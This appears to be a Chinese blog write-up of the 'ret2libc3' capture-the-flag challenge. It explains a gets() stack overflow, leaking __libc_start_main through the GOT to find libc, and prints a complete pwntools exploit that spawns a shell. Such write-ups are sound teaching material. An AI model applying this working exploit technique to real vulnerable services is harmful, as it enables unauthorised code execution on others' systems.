文件下载地址:
链接:https://pan.baidu.com/s/1IMZt9WIlXDZBX2J-hoCyNA
提取码:jrsx
0x01.分析
checksec:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
源码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(&s);
return 0;
}
存在gets,判断是栈溢出。继续查看线程表,寻找system函数或其它有用地址:
并没有发现任何有用的信息,暂时失去了头绪。
0x02.新知识:利用libc
- system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
- 记住公式:A真实地址-A的偏移地址 = B真实地址-B的偏移地址 = 基地址
- 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位(三位十六进制位)并不会发生改变。
- 如果我们知道 libc 中某个函数的地址,对比最低12位,我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。
- 一般常用的方法是采用 got 表泄露。
- 由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。
- libc 中也是有 /bin/sh 字符串的。
一般常使用LibcSearcher工具。
安装:
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop
基本利用思路:
- 泄露 __libc_start_main 地址。(因为它是程序最初被执行的地方,所以肯定已经执行过)
- 获取 libc 版本。
- 获取 system 地址与 /bin/sh 的地址。
- 再次执行源程序。
- 触发栈溢出执行 system(‘/bin/sh’)。
0x03.exp
##!/uer/bin/env python
## coding=utf-8
from pwn import*
from LibcSearcher import LibcSearcher
r=process('./ret2libc3')
elf=ELF('./ret2libc3') #以ELF为格式创建对象
puts_plt=elf.plt['puts'] #获取puts函数在PLT表的位置
libc_start_main_got=elf.got['__libc_start_main'] #函数的真实地址,我们要泄露的对象
main=elf.symbols['main'] #获取main函数的地址,为了再次执行源程序以再次利用栈溢出
print "leak libc_start_main_got addr and return to main again"
payload=flat([112*'A',puts_plt,main,libc_start_main_got])
r.sendlineafter("Can you find it !?",payload)
print "get the related addr"
libc_start_main_adr=u32(r.recv()[0:4])
libc=LibcSearcher('__libc_start_main',libc_start_main_adr)
libcbase=libc_start_main_adr-libc.dump('__libc_start_main')
system_adr=libcbase+libc.dump('system')
bin_sh_adr=libcbase+libc.dump('str_bin_sh')
payload=flat(['A'*104,system_adr,0x0,bin_sh_adr])
r.sendline(payload)
r.interactive()
0x04.原理解析
总体的原理就是通过泄露一个已经执行的函数,算出基址,(这里选用__libc_start_main ),得到system和bin/sh的地址,最后再来一次溢出,去执行syatem('bin/sh'),得到shell。
具体脚本解析:
- 第一次payload的目的是打印泄漏libc_start_main函数的地址,然后返回到main函数,再次溢出,利用了puts函数打印该地址。
- libc_start_main_adr=u32(r.recv()[0:4])
- libc_start_main的地址的后12位即使程序有 ASLR 保护,交互时接受返回的地址,由于是32位的文件,每4位切一次片,用u32可以转成地址。
- recv(4)是指只接收四个字节的信息,因为泄露的地址信息只存在于前四个字节,u32是指解包unpack,将一块数据解包成四个字节。
- libc=LibcSearcher('__libc_start_main',libc_start_main_adr)
- 利用脚本去找到libc的版本号,第二个参数为已泄露的实际地址。
- 这里运行时需要选择,有两个选择,只有第一个可以,暂不知道原理,一个一个试(重点)
- libcbase=libc_start_main_adr-libc.dump('__libc_start_main')
- 这行代码的目的是用真实地址减去这个函数的偏移地址,得到libc基址。
- system_adr=libcbase+libc.dump('system') 得到libc中system的地址
- bin_sh_adr=libcbase+libc.dump('str_bin_sh')得到libc中/bin/sh的地址
- 也可以通过这个网站在线查找:https://libc.blukat.me/
- 第二次溢出就是真正的拿到shell,为什么是104在下面解释。
104字符填充解释:
__start 是程序的起始。
void _start()
{
%ebp = 0;
int argc = pop from stack
char ** argv = top of stack;
__libc_start_main(main, argc, argv, __libc_csu_init, __linc_csu_fini,
edx, top of stack);
}
直接用main_plt = elf.symbols['_start']的话,仍然填充为112。
使用main需要减去8。(。。。)
可以这样计算:ebp+0x4-(esp+0x1c)(esp+0x1c是字符串的起点),ebp+4的目的是从main开始调用。
也可以debug调试:
在脚本前面加上:
context.terminal=['gnome-terminal','-x','sh','-c']
在需要调试的地方加上:(sh为进程变量)
gdb.attach(sh)
如颖随心->A 发布了70 篇原创文章 · 获赞 77 · 访问量 6469 私信 关注